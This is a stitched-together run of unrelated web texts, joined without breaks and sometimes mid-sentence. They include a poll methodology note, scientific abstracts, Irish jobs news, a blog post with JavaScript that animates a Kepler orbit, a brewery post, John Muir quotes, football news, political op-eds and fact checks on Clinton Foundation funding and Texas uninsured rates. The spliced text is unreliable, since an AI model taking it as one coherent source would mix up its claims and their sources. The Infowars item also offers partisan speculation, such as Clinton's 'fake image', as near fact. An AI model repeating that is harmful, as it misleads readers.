The Post’s poll was conducted Nov. 12-15 among a random sample of 1,005 adult District residents reached on landline and cellular phones. The margin of sampling error for overall results is plus or minus four percentage points; for results in individual wards, error margins range between plus and minus nine to 13 percentage points.There has recently been a resurgence of interest in psychedelics, substances that profoundly alter perception and cognition and have recently demonstrated therapeutic efficacy to treat anxiety, depression, and addiction in the clinic. The receptor mechanisms that drive their molecular and behavioral effects involve activation of cortical serotonin 5-HT 2A receptors, but the responses of specific cellular populations remain unknown. Here, we provide evidence that a small subset of 5-HT 2A -expressing excitatory neurons is directly activated by psychedelics and subsequently recruits other select cell types including subpopulations of inhibitory somatostatin and parvalbumin GABAergic interneurons, as well as astrocytes, to produce distinct and regional responses. To gather data regarding the response of specific neuronal populations, we developed methodology for fluorescence-activated cell sorting (FACS) to segregate and enrich specific cellular subtypes in the brain. These methods allow for robust neuronal sorting based on cytoplasmic epitopes followed by downstream nucleic acid analysis, expanding the utility of FACS in neuroscience research.There were 965 jobs announced in Ireland across the science, technology, engineering and maths sector during August, with major moves in Dublin catching the eye.
Accounting and consulting firm Deloitte announced plans to create 400 jobs in the country over the next four years, including a number of tech roles – the spread will be across Dublin, Cork and Limerick, with the capital bagging the lion’s share.
Meanwhile, Ballymaguire Foods is adding 100 positions to its current 150 labour force in Lusk, seeking out graduates in sales and marketing as well as food scientists and technicians, R&D professionals, chefs, cooks and general operatives.
Science jobs in Ireland
The science roles don’t end there, with APC Microbiome – formerly Alimentary Pharmabiotic Centre – creating 50 new research jobs ahead of the launch of its new facility, a national centre of excellence for food and medicine research at University College Cork.
Of course, there is always the potential for more jobs, with the likes of Google’s new €150m data centre – which will see 400 jobs created for its construction – a future boon.
So, too, the country’s first rural digital hub in Skibbereen in Cork, with 500 jobs the hoped-for figure.
Elsewhere we’ve seen telecoms companies set up bases throughout the country, software positions emerge and animation companies expand.
The full jobs announcements from August:
Main image via ShutterstockI have developed an enthusiasm (aka weird obsession) for celestial mechanics and developed several games and the Unity Asset Gravity Engine. In developing Gravity Engine I learned a great deal about high pedigree N-body simulations, but in some cases (e.g. a model of the solar system) it is not really necessary to simulate the system but rather just evolve it in the correct way. In this case Gravity Engine offers the option to use Kepler’s equation and move bodies in their elliptical orbit as a function of time. This uses far less CPU than doing the 9*8 mutual gravitational interactions (10*9, if you add in the “dwarf planet” Pluto).
[If you don’t see an animation, click the post title to see ONLY this post. There is WordPress JS bug when this animation and a YouTube link are present]
Creating code to move a planet in an elliptical orbit with the correct velocity is surprisingly tricky. This is one of those cases where you might expect you could just grab a formula from Wikipedia and bang out some code. This bias comes from all the examples in physics class where the goal is to “find/derive the formula” and get a tidy equation.
If you dig around on physics pages for an equation of an elliptical orbit you will generally encounter the equation for the shape of the orbit with eccentricity e, and semi-major axis, a:
I have attached the subscript F to the angle to indicate this is the angle from the focus of the ellipse between the position of the body and the long axis of the ellipse. Historically, this angle is named the True Anomaly.
Where is time in this equation?
Nowhere. This equation doesn’t tell us anything about time.
To get an equation for how the object moves as a function of time, we’ll need Kepler’s equation. Kepler constructed his equation without Calculus (which came along about 60 years after Kepler did this work) using geometric arguments and the assumption that an objects speed in an elliptical orbit was inversely proportional to it’s distance from the focus. Kepler’s equation is:
Here M is the position of a body moving in a uniform circle at a constant rate (that we will relate to time) and E is the angle to the position on the ellipse from the origin, called the eccentric anomaly. Here a picture will help:
The eccentric anomaly is NOT the same angle as (f in the picture) however they can be related with a bit of geometry:
.
If we have a specific time we want a position for we need to convert this into a value of M. This is done by dividing the time by the time per orbit, T. Kepler can also help us here with his third law that relates the size and eccentricity of the orbit to the mass of the bodies:
where m is the combined mass of the central object and orbiting body. (Kepler did not know the proportionality constant was the mass, that came later).
Given M, Solve for E
Ok, we’ll just isolate E…hmmm. E appears by itself and inside the sine function. That sinks our chance of getting a tidy mathematical formula. This equation is legendary in Mathematics, since it is an early example of a transcendental equation with an import application. It has been studied extensively and the approaches are well summarized in the book “Solving Kepler’s Equation Over Three Centuries” by Peter Colwell.
There are some series approximations, but they are not valid for all eccentricities. The most common approach is to iterate the equation until we converge on a value that is “good enough”.
The “recipe” for tying this all together is:
Determine the orbital period T For the time t we’re interested in, divide by the orbital period and use the remainder to find the angle if the body were moving in a uniform circle, M. Using iteration solve Kepler’s equation and find E Using E, determine Find the corresponding r using the orbit equation.
In Javascript this becomes:
var orbitPeriod = 2.0 * Math.PI * Math.sqrt(a*a*a/(m*m)); // G=1 function orbitBody() { // hide last position drawn context.clearRect( last_x -10, last_y - 10, 20, 20); // 1) find the relative time in the orbit and convert to Radians var M = 2.0 * Math.PI * time/orbitPeriod; // 2) Seed with mean anomaly and solve Kepler's eqn for E var u = M; // seed with mean anomoly var u_next = 0; var loopCount = 0; // iterate until within 10-6 while(loopCount++ < LOOP_LIMIT) { // this should always converge in a small number of iterations - but be paranoid u_next = u + (M - (u - e * Math.sin(u)))/(1 - e * Math.cos(u)); if (Math.abs(u_next - u) < 1E-6) break; u = u_next; } // 2) eccentric anomoly is angle from center of ellipse, not focus (where centerObject is). Convert // to true anomoly, f - the angle measured from the focus. (see Fig 3.2 in Gravity) var cos_f = (Math.cos(u) - e)/(1 - e * Math.cos(u)); var sin_f = (Math.sqrt(1 - e*e) * Math.sin (u))/(1 - e * Math.cos(u)); var r = a * (1 - e*e)/(1 + e * cos_f); time = time + 1; // animate last_x = focus_x + r*cos_f; last_y = focus_y + r*sin_f; drawBody( r* cos_f, r*sin_f, "blue"); setTimeout(orbitBody, 30); }
I have left out some of the init code for clarity. If you view the source for this page you can find all this.
(Eccentric anomaly image created by CheCheDaWaff/Creative Commons License).Apple CEO Tim Cook says it is more important to learn how to code than it is to learn English as a second language.
The tech executive made the remarks to French outlet Konbini while in the country for a meeting with French President Emmanuel Macron, who has called for tech companies to pay higher taxes in Europe.
"If I were a French student and I were 10 years old, I think it would be more important for me to learn coding than English. I'm not telling people not to learn English in some form — but I think you understand what I am saying is that this is a language that you can [use to] express yourself to 7 billion people in the world," Cook tells Konbini.
"I think that coding should be required in every public school in the world."A new study of children with anxiety disorders suggests that response to cognitive-behavioural therapy (CBT) is influenced by many genetic variants of small effect - rather than any individual gene.
The research, led by scientists from King's College London and published in the British Journal of Psychiatry, is the first to explore the impact of DNA variants across the entire genome on CBT response.
CBT is one of the leading treatments for anxiety and depression in the UK, following considerable investment in the past five years. It is especially popular in treating anxiety disorders in children, although around 40 per cent of those receiving therapy remain anxious once the course of treatment finishes.
The study of 980 children undergoing CBT for anxiety disorders, at 11 therapy centres across the world, sought to identify DNA variants that predict who will respond well to CBT.
Scientists from King's analysed the association between single nucleotide polymorphisms (SNPs) and changes in symptom severity during CBT. SNPs are DNA differences (polymorphisms) between individuals in the 3 billion nucleotide base pairs of DNA - steps in the spiral staircase of the double helix of DNA that make up the human genome. Each SNP represents a difference in a single nucleotide base pair, and these SNPs account for inherited differences between people.
Contrary to previous research, which has not looked genome-wide, they did not identify any individual SNPs or variants with large effects on treatment response. This suggests that response to CBT may be influenced instead by many variants with small effects, a pattern that has been seen in genome-wide studies of many behavioural traits.
The study's first author, Jonathan Coleman from the Institute of Psychiatry, Psychology & Neuroscience (IoPPN) at King's College London, said: 'Although this study doesn't identify any specific variant affecting CBT response, it provides us with some important initial ideas. Childhood anxiety has severe, negative impacts in later life, and if we can understand how the genome influences the way children respond to CBT, we can help inform parents and children seeking the best way to relieve their anxiety.'Abstract
Whether the firms that supply Internet hardware and software should face restrictions on the use of their property is an important and controversial policy issue. Advocates of “net neutrality”—including President Obama and the current FCC majority—believe that owners of broadband distribution systems (hardware used to distribute Internet and video services) and producers of certain “must-have” video content should be subject to prophylactic regulation that transcends present-day antitrust law enforcement. In the economic terms that are used in debates on competition policy, the concern is with vertical integration that may give firms both the opportunity (through denial of access or price discrimination) and incentive (increased profit) to restrict competition. This paper’s central point is that virtually every production process in the economy is vertically integrated, and economics predicts changes in the extent of vertical integration—that is, changes in the boundaries of the firm—in response to changes in relative prices, technology, or institutions. Both vertical integration and changes in the extent of vertical integration are benign characteristics of efficient, dynamic, competitive markets. While there is no shortage of theoretical models in which vertical integration may be harmful, most such models have restrictive assumptions and ambiguous welfare predictions—even when market power is assumed to be present. Empirical evidence that vertical integration or vertical restraints are harmful is weak, compared to evidence that vertical integration is beneficial—again, even in cases where market power appears to be present. Thus, it is reasonable to conclude that prophylactic regulation is not necessary, and may well reduce welfare. Sound policy is to wait for ex post evidence of harm to justify interventions in specific cases. Net neutrality, recently enacted by the FCC but subject to judicial review, is an unfortunate idea.6 Perfect John Muir Quotes to Inspire Your Wanderlust
How did a Scottish immigrant, fascinated by the natural world and the wild beauty of his new home in America, become synonymous with preservation?
How did one man, who was an eternally-curious student of the interconnectedness of humanity and nature, become America’s most famous naturalist and conservationist?
The answers are immortalized in John Muir’s writing; in the words he penned while experiencing the splendor and healing power of the wilderness; in the timeless truths he shared.
He described the indescribable.
He ignited a movement.
Muir’s lyricism with words and his contagious enthusiasm for nature propelled the revolutionary concept of environmentalism into the mainstream consciousness of American society.
His legacy is intertwined with the history of our national parks and with the creation of a National Park System. And though he died two years before the establishment of the National Park Service, his influence and advocacy for wilderness preservation will forever be credited for inspiring others to set aside the places they loved and cared about for the enjoyment of the people – all people.
Join us in celebrating the next century of the National Park Service by taking a look back at some of the quotes that sparked the imagination of travelers, business magnates, and politicians alike.
Read Muir’s enduring truths and be moved to get out there and find your park.
“Another glorious day, the air as delicious to the lungs as nectar to the tongue.”
“The snow is melting into music.”
“Come to the woods, for here is rest.”
“Going to the mountains is going home.”
“There is a love of wild nature in everybody.”
“I know that our bodies were made to thrive only in pure air, and the scenes in which pure air is found.”
There is an undeniable reason John Muir’s words still resonate so poignantly and powerfully today. The truth in his writing moves in us the primal need to connect with nature. It inspires us to seek that which is greater than ourselves.
Which John Muir quote invigorates your sense of adventure and wanderlust?
Now that you’re ready to get out and find your park, check out our free Owner's Guide series for |
. If this hypothesis is correct, these insects would have been susceptible to falling oxygen levels and certainly could not survive in our modern atmosphere. Other research indicates that insects really do breathe, with "rapid cycles of tracheal compression and expansion". Recent analysis of the flight energetics of modern insects and birds suggests that both the oxygen levels and air density provide an upper bound on size. The presence of very large Meganeuridae with wing spans rivaling those of during the Permian, when the oxygen content of the atmosphere was already much lower than in the Carboniferous, presented a problem to the oxygen-related explanations in the case of the giant dragonflies. However, despite the fact that Meganeurids had the largest-known wingspans, their bodies were not very heavy, being less massive than those of several living Coleoptera; therefore, they were not true giant insects, only being giant in comparison with their living relatives. Lack of predators. Other explanations for the large size of Meganeurids compared to living relatives are warranted. [6] Bechly (2004) suggested that the lack of aerial vertebrate predators allowed pterygote insects to evolve to maximum sizes during the Carboniferous and Permian periods, perhaps accelerated by an evolutionary "arms race" for increase in body size between plant-feeding Palaeodictyoptera and Meganisoptera as their predators. [7]
Other explanations for the large size of Meganeurids compared to living relatives are warranted. Bechly (2004) suggested that the lack of aerial vertebrate predators allowed pterygote insects to evolve to maximum sizes during the Carboniferous and Permian periods, perhaps accelerated by an evolutionary "arms race" for increase in body size between plant-feeding Palaeodictyoptera and Meganisoptera as their predators. Aquatic larvae stadium. Another theory suggests that insects that developed in water before becoming terrestrial as adults grew bigger as a way to protect themselves against the high levels of oxygen.[8]
References [ edit ]
Bibliography [ edit ]
Rake, Matthew (2017). Prehistoric Ancestors of Modern Animals. Hungry Tomato. p. 20. ISBN 1512436097.
Taylor, Paul D.; Lewis, David N. (2007). Fossil Invertebrates (repeated ed.). Harvard University Press. p. 160. ISBN 0674025741.
Media related to Meganeura at Wikimedia CommonsAs the unofficial end of summer has passed with Labor Day, Due South is kicking things into high gear for fall. This time of the year is anything but slow for this Boynton Beach brewery as we brew a lot of beer for a couple big events.
First, there is our second annual Oktoberfest Celebration here at the brewery. On October 3rd, 4th and 5th we invite you all to come out to the taproom and raise a few glasses of beer with us as we ring in fall the right way. We will be releasing a couple returning favorites from last autumn: our Oktoberfest Marzen lager and Isle of MaGourdo pumpkin ale. You can also expect some special treatments and cask beers being tapped throughout the weekend as well. Where else but in South Florida can you find lobster rolls served at an Oktoberfest celebration? Every day will be different with new beers and different food trucks and, of course, enough polka music to make you think you’re in Munich.
The weekend after Oktoberfest we pack up our bags and head to the Centennial State, Colorado, for our first ever appearance at the Great American Beer Festival. GABF, as it’s affectionately called, is the largest annual craft beer festival and competition in the United States. Roughly 49,000 people are expected to attend. Around 650 brewers will congregate in Denver to have their beers judged for a chance at taking home some hardware and bragging rights.
Being our first time at the festival we wanted to put our best foot forward and decided to enter 5 beers into the competition. We will be submitting our flagship beer Caramel Cream Ale along with Cafe Ole Espresso Porter, Bridgeport Scotch Ale, Category 4 IPA and Category 5 IPA. Each beer will be available for sampling at the Due South booth during each of the 4 sessions as well.
We are one of only 7 breweries representing Florida on the floor of the festival so we hope to make the beer drinkers of the Sunshine State proud. Only time will tell if any medals come home with us.
So you can see that fall is a very busy time here for us and we hope that you can come out to our Oktoberfest Celebration or, if you are at GABF, stop by the Due South booth and say hi.A recent Toronto Sun editorial criticized the Canadian government under Prime Minister Justin Trudeau for donating $20 million Canadian dollars to the Clinton Foundation.
Verdict: True
Canadian government filings reveal Canadian tax dollars are indeed financing a foreign health initiative by an organization under the Clinton Foundation.
Fact Check:
The Toronto Sun editorial, published July 12, was titled, “Canada Shouldn’t Donate to the Clinton Foundation.”
The editorial voiced concern with the Canadian government’s decision to “hand $20 million over” to the Clinton Health Access Initiative (CHAI), a charity under the Clinton Foundation umbrella. The editorial went on to describe the nonprofit organization as “the heart of the cash-for-access scandal” that “dogged” Hillary Clinton’s 2016 campaign.
The Liberal Party government, led by Trudeau, reiterated Canada’s commitment to foreign aid and development in its 2017 budget. A significant component of this global commitment is the budget’s $650 million Canadian dollar (CAD) earmark for foreign aid to specifically “address gaps in sexual and reproductive health and rights in the world’s poorest and most vulnerable communities.”
A spokesperson for Global Affairs Canada, department of the Canadian government, confirmed to The Daily Caller News Foundation that CHAI submitted an “Unsolicited proposal” for public Canadian funds. The $20 million CAD grant that CHAI received will be used for a four-year project in Nigeria to “improve access to SRH [sexual and reproductive health] choices for young women and adolescent girls” with public and private partners, as per Global Affairs Canada’s website.
These initiatives fall under Canada’s explicit “feminist international assistance policy,” as stated by the Canadian government. Foreign aid administered by Global Affairs Canada thus seeks to support sex education, family planning, and abortion access across the world.
Both Canadian and international organizations are eligible to receive these funds to advance the government’s goals, a spokesperson for Global Affairs Canada told TheDCNF.
The sexual and reproductive health project isn’t the first Clinton Foundation-affiliated project that the Canadian government has funded. Canada has previously committed or granted $19.2 million CAD to CHAI for a vaccination project, $14.2 million CAD for a dysentery treatment project, and $460,000 CAD to a tuberculosis research project.
Unsolicited proposals – like the kind CHAI submitted for its most recent $20 million CAD grant – are “assessed using an established process and criteria,” the spokesperson for Global Affairs Canada told TheDCNF. These proposals must include signed agreements relating to procurement, financial recording, and conflict of interest policies as well as an anti-corruption declaration.
The Clinton Foundation has been at the center of a controversy surrounding Hillary Clinton after it was revealed that the charity accepted foreign contributions from Canada as well as from Australia, Germany, Morocco, Qatar, Saudi Arabia and the United Arab Emirates. The Wall Street Journal reported on this controversy in 2016, revealing that the Foundation accepted nearly $500,000 from a Canadian government agency that was tasked with promoting the Keystone XL pipeline proposal.
Discussions about any controversy and donations to the Clinton Foundation aside, claims that Canadian tax dollars are financing Clinton Foundation initiatives are true.
The Clinton Foundation did not respond to TheDCNF for comment.
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That’s the new policy at a Kentucky tobacco store now that the weather is warming up. It seems tobacco isn’t the only thing employees at Tobacco Road in Owensboro have been smelling. Customers have been handing over soggy, sweaty bills that they kept in their socks and bras.
Well, no more.
Managers instituted a new policy and will no longer accept nasty, sweaty money. There’s even a sign on the door reading, “Due to rising temperatures, we will not be accepting boob or sock money.”
“Some of them like to bring me some soggy money. They dig deep into their not ‘so-called pockets’ to bring me some nasty money that we don’t want to accept anymore,” manager Cindy Collins told WFIE.
Collins said business has been up since the policy went into place. As for the customers, most of them are getting a kick out of the sign.Clinton hasn’t held a press conference since Dec. 2015
(Infowars) – Hillary Clinton will only speak to black and Latino journalists at her first press conference since Dec. 4, 2015.
Clinton is holding a press conference at the Washington, DC, Marriott on Friday that’s open only to members of the National Association of Black Journalists and the National Association of Hispanic Journalists, according to a press release.
“It is notable that Democratic presidential nominee Hillary Clinton has recognized the 2016 NABJ-NAHJ Convention as a vital gathering to discuss her platform and the issues impacting black and Latino communities,” said NABJ President Sarah Glover.
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It’s unknown whether she’ll take questions, but given her past hostility to the press, it’s doubtful unless the questions are given to her ahead of time.
Friday’s press conference will only fuel speculation she’s pandering to minority voters while keeping a tight leash on the press to protect her fake image.
“She gets her message out in ways that are completely controlled, but American citizens deserve better,” Washington Post columnist Margaret Sullivan once wrote, a rare admission from the anti-Trump outlet.
The Clinton campaign even physically lassoed reporters with ropes to keep them from approaching Hillary Clinton during a parade in July 2015.
Clinton advance aides create a rope line for the press, moving with the candidate pic.twitter.com/9S7CpVt7x4 — Maggie Haberman (@maggieNYT) July 4, 2015
“Campaign events are carefully stage managed, with reporters getting few opportunities to question the candidate,” the Huffington Post admitted. “Journalists privately met… to discuss grievances over access on the campaign trail — from not receiving timely logistical information to being kept too far from the candidate at public events or kept completely out of fundraisers.”
http://www.infowars.com/hillary-refuses-to-meet-white-reporters-in-first-press-conference-of-2016/It does not have to be this way. Even before Hardin wrote his essay fishery economists had diagnosed the problem and explained how property rights in fisheries could solve the problem. Specifically by recognizing property rights in a percentage of the catch for a given species (or, in some cases, by recognizing rights in fishing territories), the "race to catch" could be eliminated and fishing crews could be given an incentive to husband the resource. The creation of property rights in the underlying resource aligns the incentives of those who work in the fishery with the health of the fishery. As owners of a share in the catch year-after-year, the fishers have a stake in ensuring there are more fish tomorrow than there are today.
The benefits of such a system are not merely theoretical. They have now been confirmed through extensive empirical research. A recent study in Science that looked at over 11,000 fisheries over a fifty year period found clear evidence that the adoption of property-based management regimes, often called "catch shares" or ITQs, prevents fishery collapse. (More here.) This is only the latest piece of evidence supporting the use of property institutions for fishery conservation. As Hardin predicted, the institution of property rights averts the tragedy of the commons.
There are many reasons for this. The creation of property rights in an ecological resource not only creates incentives for greater resource stewardship, to conserve the underlying value of the resource today and into the future. It also gives those who rely upon the resource a stake in the broader set of institutions that govern the resource.
Under traditional fishery management, those who fish and those who regulate are typically at odds. Fishermen lobby for less restrictive catch limits so they may catch more today, out of fear the fishery may be more constrained tomorrow. Interestingly enough, the creation of property rights in the fishery catch encourages fishermen to take the opposite tack. More precautionary catch limits actually enhance the value of their catch shares, so they seek more protective policies. In some cases, as has been observed in New Zealand, fishery share owners themselves effectively take over the management of the stock, enforcing catch shares and limits, policing restrictions on by-catch, and funding the research necessary to ensure the fishery maintains its maximum sustainable yield over time.
The move toward property rights appears to have had positive social benefits as well. Consider the experience of the popular reality show "The Deadliest Catch," which chronicles the efforts of several boats in the Alaskan King Crab fishery in the Bering Sea. The title for the show derives from the fact that Alaskan king crab fishing is one of the deadliest jobs around - or at least it used to be.Stewart Milne knows he faces a fight to keep Derek McInnes at Aberdeen for the long haul but it is a much happier situation than he’s faced with several of the club’s managers in the past.
The building tycoon is dealing with the ninth person to hold the post, not counting caretaker appointments, since he joined the board of directors back in 1994 when Willie Miller was still in charge of the football operation.
Derek knows he is working with a board that believe in him and are prepared to do all we can to support him Stewart Milne
There’s no doubt McInnes has been the most successful during that time, which hasn’t gone unnoticed elsewhere as he has already revealed rejecting informal approaches from other clubs for his services.
Milne would expect nothing less given the fact he’s already extended his manager’s contract twice in less than the three years since agreeing the initial deal to bring him to Pittodrie.
Now that determination to do everything possible to keep McInnes includes prioritising delivery of a state-of-the-art training complex ahead of the proposed new stadium development at Loirston on the south side of the city.
It’s certainly a new situation for Milne to deal with after years of underachievement on the park but he said:“I would rather that Derek is doing a fantastic job here and people are looking at him as opposed to him being here struggling and nobody having any interest in him.
“We know that at some point in the future that is going to be a big challenge for the club. That is just the reality of the game.
“When Derek took on the job he viewed it as a medium to long-term prospect of getting the team back to where we all want to see them.
“I think Derek and Tony Docherty have made tremendous progress but they accept themselves that they still have some way to go. The important thing is we have everyone focused on what needs to be done in the short to medium term.
“Derek knows he is working with a board that believe in him and are prepared to do all we can to support him.”
Aberdeen had originally hoped to be in a new training ground by now and intended to move away from Pittodrie by the start of season 2017/18 but both projects had to be reassessed after problems arose with the proposals.
It will now be the summer of 2019 at the earliest before the stadium can be delivered but that doesn’t top the chairman’s priority list.
He added:“There is not the same urgency to deliver the new stadium. The real urgency is to give Derek and the squad a top notch training facility.
“We are one of the only major clubs in Scotland that doesn’t have a top class facility. We don’t feel good about that.
“We know it is a compromise for Derek but I think we are in a pretty good place at the moment and everyone is working towards the same goals.”
Aberdeen are certainly better placed than ever to deliver both after wiping out their debt at a time of record turnover for the club.
They even made a £500,000 profit last season however Milne still thinks Scottish football in general is being undersold.
He backs the recent shake-up of the League Cup but insists the game needs a much more radical overhaul to flourish again. He added:“The one thing we need to be able to achieve in the next five years is to bring a lot more cash into Scottish football than what is coming in.
“If there is going to be some radical thinking and changes in order to do that then we have got to be prepared to look at all the options.
“I don’t think we should be charging down any particular route at this point in time unless we are convinced that is going to enable us to bring a lot more investment into Scottish football.
“When you look at what is going to happen in English football next year when you have £1.7 billion coming into the game for a season and we are sitting around £20 million in total. That is the scale of the challenge.
“We have got to find ways of getting that £20m substantially increased in the next five or six years.
“We have delivered the first stage of reconstruction in Scottish football.
“The announcement of the reconstruction of the League Cup is another step in the right direction.
“There is work being done on the other two cup competitions and work will start soon on the next stages of what reconstruction of the league might be.”One of the great useful fictions of the current election cycle is that the “Never Trumpers” are sore losers who are sacrificing reality on the altar of their quaint purity tests. The hard-headed realists — whose sober realpolitik gave us Presidents McCain and Romney — assert that we must get behind Trump because a Hillary presidency would be an extinction level event for the Republic.
Leaving aside the very real possibility that Trump would be every bit as bad as, if not worse than, Hillary, this argument ignores the now obvious fact that Trump is not going to win, irrespective of what conservatives do. The recent Khizr Khan fiasco — a trap laid by the Democrats with the relative sophistication of a Wile E. Coyote orange crate on a stick — should convince all but the truly delusional that if the Trump train hasn’t already derailed, it’s careening back and forth on tracks the Dems are pulling up unopposed.
Trump’s reaction, perhaps better thought of as an abreaction, is the latest in a long series of imbecile responses to minor and manageable provocations. To be clear, there is obviously nothing minor about losing a son in battle, but as a political matter the towel boy in the RNC pool would know enough to acknowledge and honor the sacrifice while refocusing the conversation on the real issue of radical Islam. The utter folly of trying to seal-club Gold Star parents would be self-evident to the towel.
The upshot is yet another series of news cycles where the Eye of Sauron — better known as media focus — will pass over Hillary and settle on Trump’s latest crash test dummy impression. Trump loyalists who maintain his pivot to becoming presidential is imminent are probably also waiting for cold fusion and the paperless office.
At the risk of giving away the ending let me suggest how this is going to play out.
The Democrats have Trump’s number — not that it has ever been a particularly difficult number to read. They know there is no trap they can set, however obvious and easily diffused, that he won’t blunder into. His ego will permit nothing else. They have correctly determined that he is unteachable, short-sighted, predictable and deeply insecure. He doesn’t learn from mistakes, he doubles down on them. Accordingly, to win this election it is only necessary they provide a series of small fires for Trump to pour gasoline on.
The added benefit of this approach is massive collateral damage to those GOP politicians and pundits — not canny enough to sever ties with Trump — who will leap onto the pyre and sacrifice what is left of their credibility and integrity defending his manifestly indefensible outbursts. (Listening to the talk-shows this morning I can report that this exercise in self-immolation is well-advanced.) This is the part that will cost Republicans down-ballot seats in 2016 and elections for many cycles to come.
In the face of all this the “realists” are suggesting we pour all our resources into defending this overrun outpost whose occupants appear to be killing themselves faster than the enemy can. My alternative advice is to leave the outpost to its well-deserved fate, concentrate on the down-ballot battles we can win, and regroup for a future campaign with much better generals.An Austin legislator stressed the number of Texans who lack health coverage after applauding the U.S. Supreme Court for upholding federal subsidies under the Obamacare law.
On a positive note, Democratic state Rep. Donna Howard said in a June 25, 2015, press release that the share of uninsured Texans has decreased thanks to more people buying insurance, some with help from the subsidies written into Affordable Care Act of 2010. Now, she said, the Republican-led state should act to draw more federal money to insure more residents—perhaps a reference to Texas’ refusal so far to expand Medicaid to more adults with the federal government initially picking up costs.
Inaction, Howard said, "has only left Texas with the nation's highest rate and highest number of uninsured."
Whatever the reasons, does Texas lead the nation in its uninsurance rate and its count of uninsured residents?
That wasn’t so before. In 2013, we rated Mostly False a declaration by Rep. Garnet Coleman, D-Houston, that Texas had the nation’s most uninsured people, 6 million. As of 2011, then the latest year of survey data, Texas led the nation with its 24 percent share of uninsured residents. But more-populous California was home to about 1 million more uninsured residents.
Also in 2013, we found True a claim that Texas had the most uninsured children. In 2012. According to federal survey results, Texas ranked first nationally with 1.1 million uninsured children, followed by California with 891,000.
California is among states, unlike Texas, that expanded Medicaid access in accord with the Obamacare law. It stands to reason its uninsured population consequently shrunk. Another post-2013 factor: Key provisions of the Obamacare law—including the mandate that most Americans obtain coverage and the offer of subsidies for individuals to buy insurance—took effect in 2014, likely affecting who has a policy.
Texas No. 1 in rate of uninsured
Texas has evidently continued to rank No. 1 for its share of uninsured residents.
To our inquiry, Scott Daigle, Howard’s chief of staff, noted by email a June 23, 2015, Austin American-Statesman story citing a national survey by the federal Centers for Disease Control and Prevention stating Texas had a higher percentage of uninsured adults in 2014 than any other state. Nearly 26 percent of Texas adults were uninsured, the story said, down from about 28 percent in 2013.
We wondered about all residents of the states at issue. Separately, the Kaiser Family Foundation, drawing on U.S. Census Bureau survey results, keeps up with how many residents of each state have health coverage. Its latest charts indicate that per the bureau’s 2013 Current Population Survey, Texas and Nevada were tied for No. 1 that year with 20 percent of residents lacking coverage. At the time, according to the survey, 15 percent of California residents lacked coverage. In raw numbers, 5,769,600 Californians were uninsured, compared with 5,357,700 Texans, according to the survey.
We also reached out to bureau spokesman Robert Bernstein who suggested by email we consider its American Community Survey results for 2013, the latest available, indicating 22 percent of Texans and 17 percent of Californians were uninsured that year. According to this survey, Nevada had the nation’s No. 2 uninsurance rate, nearly 21 percent. In raw numbers, the survey suggested, 6.5 million Californians lacked coverage compared to more than 5.7 million Texans.
California vs. Texas in uninsured residents
In question: Whether California kept its raw-total lead in uninsured residents through 2014.
Doesn’t seem so, experts told us, because far fewer Californians continued to lack coverage through the year, causing Texas to end up No. 1 for its uninsured rate and total residents without insurance. However, we fell short of landing governmental confirmation of such a shift.
Responding to our request for backup information, Daigle in Howard’s office emailed us a link to a September 2014 Rice University press release stating Texas "has now surpassed California to become the state with the highest number of uninsured residents." But the related report, from Rice University’s Baker Institute for Public Policy and the Episcopal Health Foundation, said only that Texas has "potentially surpassed" California in its uninsured count.
According to quarterly surveys of Texans undertaken by the researchers, an additional nearly 379,000 Texans aged 18 to 64 had health coverage after the first Obamacare enrollment period, reducing uninsurance rates among such adults from 25 percent in September 2013 to 22 percent in May 2014.
An April 2015 follow-up report by the institute and foundation said that thanks to more adults obtaining coverage, the share of uninsured Texans aged 18-64 as of March 2015 had dropped even more to 17 percent. The report said: "Despite this progress, Texas remains the state with the highest percentage of uninsured residents and, for the first time, Texas now has the largest number of uninsured residents."
That report did not say how the researchers decided California no longer had the most uninsured. By email to our inquiry, co-author Elena Marks told us an undated web post on Wallethub.com, a personal finance website, fueled the conclusion. After the Obamacare law took effect, she noted, WalletHub projected that 14.26 percent of Californians and 24.81 percent of Texans lacked coverage. WalletHub also said its estimates were limited to beneficiaries under 64 years of age.
Those state-by-state percentages, according to WalletHub’s post, were calculated in part from a June 2014 Kaiser Family Foundation look into insurance sign-ups during the first Obamacare enrollment period, which WalletHub described as "the best estimate to date of the proportion of private health plan enrollees under Obamacare who previously lacked health insurance and therefore would be gaining coverage under the new law."
Marks told us the Texas researchers multiplied the WalletHub projections by each state’s population to estimate that more than 6.8 million Texans and 5.5 million Californians were uninsured once the Obamacare law had rolled into place.
Other analysts
Seeking other perspectives, we queried experts including Paul Fronstin of the Washington, D.C.-based Employee Benefit Research Institute, which says its mission is to enhance the development of public policy through objective research and education.
In 2012, Fronstin wrote that the year before, California had the largest number of people under age 65 without health insurance of any state, at 7.1 million. But he also wrote that with Obamacare taking effect, the western state’s share of uninsured adults would likely drop. As it was, Fronstin told us at the time, his analysis of bureau research released in March 2012 showed more Californians than Texans were lacking coverage.
That also held in Fronstin’s latest analysis, published in 2013, which said that nationally in 2010-12, Texas and California were among 14 states with 20 percent or more of residents lacking insurance. California had an average of 7 million uninsured non-elderly residents, according to a chart in the report, outpacing other states including No. 2 Texas, which averaged 6.1 million uninsured non-elderly.
Still, those counts reflected conditions before the Obamacare law took fuller effect. By email, Fronstin told us this month that he believes California no longer leads the nation in uninsured residents, likely due to more people there taking advantage of coverage options thanks to the state expanding Medicaid and residents otherwise buying insurance with the subsidies offered thanks to the Obamacare law.
Fronstin pointed out Gallup polls taken through 2014 indicating Texas that year had the nation’s greatest share of uninsured adults (24.4 percent) for the seventh straight year. That was a slight improvement from the 27 percent rate Gallup gauged in 2013. From 2013 to 2014, per Gallup’s results, California’s adult uninsurance rate fell from 21.6 percent to 15.3 percent.
We considered multiplying the 2014 Gallup percentages by federal population estimates to approximate the number of uninsured adults in each state.
But Howard referred to all uninsured residents. We sought the same broad focus.
On this front, Anne Dunkelberg of the Austin-based Center for Public Policy Priorities, which advocates for programs serving low-income Texans, guided us to a June 23, 2015, report from the Centers for Disease Control and Prevention stating that according to its surveys undertaken through 2014, 11.5 percent of all Americans were uninsured.
Also, a chart in the report indicates 19.4 percent of all Texans were uninsured at the time they were interviewed while 12 percent of Californians reported no coverage. We multiplied these percentages over July 2014 Census Bureau population estimates for each state, reaching estimates of 5.23 million uninsured Texans in 2014 and 4.66 million uninsured Californians.
